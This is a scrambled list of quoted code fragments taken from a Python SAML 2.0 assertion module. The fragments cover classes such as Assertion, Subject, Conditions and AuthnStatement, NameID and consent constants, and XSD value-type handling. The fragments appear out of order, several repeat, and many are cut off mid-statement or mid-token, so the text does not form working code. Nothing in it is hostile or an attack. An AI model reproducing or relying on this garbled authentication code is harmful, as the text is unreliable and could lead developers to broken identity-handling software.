http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later updated", "{'base': 'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes", "c_attributes['ID'] = ('id', 'ID', True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True)", "[AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion])", "any question arise please query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf", "'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition,", "[] self.one_time_use = one_time_use or [] self.proxy_restriction = proxy_restriction or", "= ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a kerberos instance NAMEID_FORMAT_KERBEROS", "'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority'])", "class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag = 'AttributeStatementType' c_namespace", "# # saml core specifications to be found at: #", "('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the SAML authority's decision can be", "False) c_attributes['FriendlyName'] = ('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\":", "SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = (", "or [] self.not_before = not_before self.not_on_or_after = not_on_or_after def verify(self):", "len(self.proxy_restriction) != 1: raise Exception(\"Cannot be used more than once\")", "c_attributes['Count'] = ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self, audience=None, count=None,", "given private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party", "if type(value) is _str and valid_type is not _str: try:", "audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\"", "SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token is issued instead.", "= 'SubjectConfirmationType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "( 'base64Binary' if base64encode else self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type", "{\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None,", "\"\"\" c_tag = 'Evidence' c_namespace = NAMESPACE c_children = EvidenceType_.c_children.copy()", "\"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\":", "c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID,", "to turn a string into that type # - a", "xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag = 'AuthnContextDecl'", "= \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt", "[AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion']", "given and under # what conditions # no claim to", "c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_):", "= AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality =", "( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED =", "'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction,", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions) c_cardinality['conditions'] = {\"min\":", "( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name'] = ('name',", "valid_ipv6 from saml2.validate import ShouldValueError from saml2.validate import valid_domain_name import", "saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag =", "return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag", "('resource', 'anyURI', True) c_attributes['Decision'] = ('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence'])", "= ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition',", "attribute_statement or [] self.version = version self.id = id self.issue_instant", "self.subject: raise MustValueError( \"An assertion with an AuthnStatement must contain", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer self.signature = signature self.subject =", "SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string,", "determines the category the subject is in # custom subject", "type(None)] if xsd_string is None else ['', ''] if xsd_string", "assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\"", "evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag:", "element \"\"\" c_tag = 'EncryptedAttribute' c_namespace = NAMESPACE c_children =", "urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag = 'Subject' c_namespace = NAMESPACE c_children", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] =", "class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag = 'Statement' c_namespace", "( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] =", "= ( 'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] =", "= EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The", "attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace NS_SOAP_ENC =", "a kerberos instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as", "return \"\" def clear_type(self): try: del self.extension_attributes[XSI_TYPE] except KeyError: pass", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id self.name_id", "self.audience_restriction = audience_restriction or [] self.one_time_use = one_time_use or []", "session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0}", "extension attributes\" ) return True else: SamlBase.verify(self) def set_type(self, typ):", "Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [", "= {'base': 'NCName'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string,", "[ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore'] = ('not_before', 'dateTime', False)", "'to_text': lambda x: _str(x).lower(), }, 'base64Binary': { 'type': _str, 'to_type':", "= advice self.statement = statement or [] self.authn_statement = authn_statement", "self.authn_context = authn_context self.authn_instant = authn_instant self.session_index = session_index self.session_not_on_or_after", "permitted DECISION_TYPE_PERMIT = \"Permit\" # the specified action is denied", "\"\"\" c_tag = 'Attribute' c_namespace = NAMESPACE c_children = AttributeType_.c_children.copy()", "self.text and not self.extension_elements: if not self.extension_attributes: raise Exception( \"Attribute", "def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None,", "'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None,", "= ( 'base64Binary' if base64encode else self.get_type() or type_to_xsd.get(type(value))) xsd_ns,", "specifications to be found at: # if any question arise", "BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string,", "# xmlschema-instance, which contains several builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance'", "not have actual text content text = ( tree.text.strip() if", "= SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The", "the action is permitted or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" #", "not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition =", "denied DECISION_TYPE_DENY = \"Deny\" # the SAML authority cannot determine", "= typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError:", "be used more than once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string): return", "authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion', 'AssertionType', 'AdviceType', 'Advice']", "1} c_cardinality['advice'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = (", "if self.attribute_statement or self.statement or \\ self.authn_statement or self.authz_decision_statement: pass", "= 'Type and value do not match: {xsd}:{type}:{value}' msg =", "= 'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children", "Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag = 'Attribute' c_namespace =", "def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element", "c_tag = 'OneTimeUseType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes", "element within a <Subject> offers the ability to provide name", "= {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI,", "c_any = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None,", "BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class", "_str: 'string', int: 'integer', float: 'float', bool: 'boolean', type(None): '',", "('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context'])", "is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been obtained", "int, 'to_type': int, 'to_text': _str, }, 'short': { 'type': int,", "('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT),", "# or other children to this node # remove the", "isinstance(value, six.binary_type): value = value.decode('utf-8') type_to_xsd = { _str: 'string',", "Technical Overview: \"The <NameID> element within a <Subject> offers the", "\"\"\" c_tag = 'AudienceRestriction' c_namespace = NAMESPACE c_children = AudienceRestrictionType_.c_children.copy()", "AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType':", "AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class", "recipient=None, in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "= SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id'] = {\"min\": 0,", "extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt:", "self.resource = resource self.decision = decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_,", "= EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality =", "unicode if six.PY2 else str if isinstance(value, six.binary_type): value =", "StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute or []", "'{%s}type' % XSI_NAMESPACE # nil type definition for xmlschemas XSI_NIL", "c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data',", "SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was later updated", "3rd party is identified by subject confirmation and must include", "c_tag = 'Evidence' c_namespace = NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes", "NAMESPACE c_value_type = {'base': 'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children", "= NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order =", "c_namespace = NAMESPACE c_value_type = {'base': 'anyType'} c_children = SamlBase.c_children.copy()", "\"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for", "= SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string):", "( 'statement', [Statement]) c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = (", "= AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The", "\"\"\" c_tag = 'SubjectType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "has been obtained before the message has been initiated CONSENT_PRIOR", "= name_id self.encrypted_id = encrypted_id self.subject_confirmation = subject_confirmation or []", "return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag", "def verify(self): if self.one_time_use: if len(self.one_time_use) != 1: raise Exception(\"Cannot", "as name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT", "not in xsd_string else xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type, {})", "determine if the action is permitted or denied DECISION_TYPE_INDETERMINATE =", "= ('name_id', NameID) c_cardinality['name_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID']", "not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy()", "xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag = 'AttributeStatementType'", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] =", "}, 'double': { 'type': float, 'to_type': float, 'to_text': _str, },", "c_child_order = AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext,", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id self.name_id = name_id self.encrypted_id =", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class", "'AdviceType', 'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag =", "= subject self.conditions = conditions self.advice = advice self.statement =", "'to_text': _str, }, 'int': { 'type': int, 'to_type': int, 'to_text':", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id'] = {\"min\": 0, \"max\":", "Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice)", "'' else [ XSD if xsd_string in xsd_types_props else '',", "= \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been obtained implicitly CONSENT_IMPLICIT =", "self.authn_instant = authn_instant self.session_index = session_index self.session_not_on_or_after = session_not_on_or_after def", "ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class", "= 'SubjectType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class", "name, Windows domain qualified name, Kerberos principal name, Entity identifier,", "= '{%s}type' % XSI_NAMESPACE # nil type definition for xmlschemas", "= BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string)", "c_attributes = AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def", "xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type', type(None))", "to consent is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has", "authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag:", "self.action = action or [] self.evidence = evidence self.resource =", "False, }[_str(x).lower()], 'to_text': lambda x: _str(x).lower(), }, 'base64Binary': { 'type':", "authz_decision_statement or [] self.attribute_statement = attribute_statement or [] self.version =", "self.statement or \\ self.authn_statement or self.authz_decision_statement: pass elif not self.subject:", "class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag = 'Subject' c_namespace", "except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self): try: return self.extension_attributes[XSI_TYPE]", "\"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def", "return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag", "'action', [Action]) c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence',", "( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") #", "{ 'string': { 'type': _str, 'to_type': _str, 'to_text': _str, },", "c_attributes['Method'] = ('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def", "'Conditions' c_namespace = NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy()", "address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before =", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action]) c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence']", "if isinstance(value, six.binary_type): value = value.decode('utf-8') type_to_xsd = { _str:", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag = 'EncryptedAttribute' c_namespace = NAMESPACE", "= ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] =", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after = not_on_or_after self.recipient", "is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values for SAML", ") if self.extension_attributes[XSI_NIL] != \"true\": raise Exception( \"Attribute value base", "authentication information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD", "text node # or other children to this node #", "\"\"\" c_tag = 'SubjectLocalityType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality =", "from saml2.validate import valid_domain_name import saml2 from saml2 import SamlBase", "( ['', type(None)] if xsd_string is None else ['', '']", "urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag = 'AudienceRestrictionType' c_namespace = NAMESPACE c_children", "'SubjectType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "self.extension_elements: if XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The", "advice self.statement = statement or [] self.authn_statement = authn_statement or", "name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag:", "verify(self): if self.authn_context_decl and self.authn_context_decl_ref: raise Exception( \"Invalid Response: \"", "'to_type': lambda x: { 'true': True, 'false': False, }[_str(x).lower()], 'to_text':", "with errata, and the new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf", "about a subject(NameID) # the format determines the category the", "set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try:", "c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__(", "'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "str) to_text = xsd_type_props.get('to_text', str) # cast to correct type", "DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent attributes determine wether consent has", "tree. for child in tree: self._convert_element_tree_to_member(child) for attribute, value in", "AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #..................", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer self.signature", "ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag = 'ConditionsType' c_namespace =", "= \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable formats NAME_FORMATS_SAML2 = (", "explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has been obtained", "'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version'] = ('version', 'string',", "if base64encode else self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type = (", "return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag", "or [] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The", "\"\"\" c_tag = 'Audience' c_namespace = NAMESPACE c_value_type = {'base':", "AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string,", "saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] =", "ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType", "self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag = 'BaseIDAbstractType'", "NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef':", "False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "\"max\": 1} c_attributes['Resource'] 